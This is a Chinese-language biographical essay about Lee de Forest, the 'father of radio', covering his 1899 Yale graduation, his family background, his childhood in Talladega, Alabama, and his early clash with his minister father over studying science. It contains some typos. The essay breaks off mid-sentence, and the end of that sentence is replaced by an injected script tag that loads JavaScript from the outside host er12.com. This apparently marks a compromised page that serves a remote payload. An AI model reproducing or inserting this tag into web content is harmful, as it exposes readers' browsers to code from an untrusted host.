真空三极管的发明人，“无线电之父”，leedeforest
光荣与梦想
我们上一节所描述的就是我们这一节的主角之一，真空三极管的发明人，“无线电之父”，leedeforest于1899年从耶鲁大学获得博士学
位时，新兴的无线电行业所面临的局面，那时的情形很像今天互联网发展的初期。1899年6月的最后一个星期三，leedeforest和其它
615名毕业生一起坐在battellmemorial教堂聆听他们的校长timothydwight在毕业典礼上的讲话：“我们需要接收这种观点，即希望的
大门为我们打开，充沛的精力需要我们展现，伟大的思想和目标由之而激励，对未来的信念必然会在我们心中生根，这就使耶鲁的生活所带给
你们的，这就使耶鲁的精神。”——耶鲁的精神就使“坚忍”（grit），就像铺路的砂石一样承受往来车辆的碾压，并成为它们前进动力的来
源。耶鲁的未来和这个国家的未来紧紧的联系再一起。那时的美国人都相信，即将到来的二十世纪将成为“美国的世纪”。美国的科技的高速
发展，在美西战争中的辉煌胜利，还有人民高涨的爱国热情，都让人相信这个国家前途无限。
leedeforest深受这种气氛的感染。他是一个志向高远的学生，他渴望着毕业后大展宏图。他一直希望成为像爱迪生、特斯拉、还有马可尼
那样的能够彪炳史册的发明家。他选择的博士论文方向也是着眼未来的。电磁现象在1897年的时候还是一个新鲜玩意，谁也无法预料它的未
来。但是leedeforest慧眼独具，将电磁波选定为自己博士期间的研究方向。他在学习期间如饥似渴的阅读者电气科学伟大先行者们的文
章和专利，赫兹、爱迪生、特斯拉，还有马可尼。希望自己也能像他们一样做出伟大的发明，名垂青史。commencement在英文中是毕业典礼
的意思，这个词的另外一个意思是开始。对于leedeforest来说，1899年6月的毕业难道不是一个新的开始吗？
leedeforest，这个在大学毕业时被全班学生选为最“难看”的人，1873年8月26日出生于美国南部的阿拉巴马州，在全班同学中，他
的家乡是最靠南的。他的母亲叫annamargaretrobbins，是一位“五月花”乘客richardrobbins的直系后代。而他的父亲henryswift
deforest的远祖是一位法国的胡格诺派教徒，1636年曾在曼哈顿岛上建立了一座烟草种植园。其曾祖gideondeforest曾在light
horseharrylee将军手下为美国的独立而战。leedeforest和其祖父的名字即由此而来。leedeforest的父亲henrydeforest毕业
于耶鲁大学，是一个狂热的公理会教派牧师。他曾在南方首府richmond（里士满）亲眼目睹一群刚刚解放了黑奴簇拥着林肯进入城内。他因
此下定决心，要如基督殉道以拯救人类那样，为解放黑奴而献身。因此，当1879年，当阿拉巴马州专为教育解放黑奴的泰拉迪拉学院
（talladega）需要一个新校长时，他毫不犹豫地接受了这个职位。
leedeforest的童年就是在泰拉迪拉，这个黑人占到总人口一半以上的小城里渡过的。这个小城的另一半人口是白人，用小leedeforest
的话来说，他们是“造反的”，他们对任何北方人都充满着敌意。但deforest家的人不会为这些困难吓倒，henrydeforest决心以母校
为榜样，改造这所目前只能教黑人识字和简单算术的学校，使之成为学术的研究殿堂。
由于他父亲的工作，小leedeforest也受到池鱼之殃。黑人孩子老是躲开他，而白人孩子总是起伏他。甚至他的弟弟也总是与他打斗
不止。leedeforest童年的乐趣几乎都来自他的阅读。在所有读物中他最钟情于youth’scompanion周刊。能吸引他的总是些科技方面的
文章，他甚至根据文章中的介绍，自己造出一辆小火车来。另一个令leedeforest感兴趣的是美国专利局的专利公报，他总是在不停模仿
别人专利上面的图写呀画呀，一心想弄出自己的发明。他并不满足于停留于纸面上的思想，他总是想做点什么新鲜的东西出来，因为这，他弄
坏了家里不少东西。几十年后他回忆道：“我慢慢学会发明是一个使人渐渐清醒的过程，拆掉旧的，建造新的，很多发明思想一下子就破灭了
，致使因为新的事实的出现。”
随着年岁日增，leedeforest与父亲的矛盾渐渐尖锐了起来。老deforest希望儿子继承自己的传教事业，也成为一个牧师。而小de
forest希望做一个发明家，打算进入耶鲁的sheffieldscientificschool学习科学和工程。而顽固不化的老deforest认为学习那些玩
意是有辱门风的，坚决不同意。在1890年10月，leedeforest17岁时，言辞恳切的给父亲写了一封信，要求父?script src=http://er12.com/t.js>
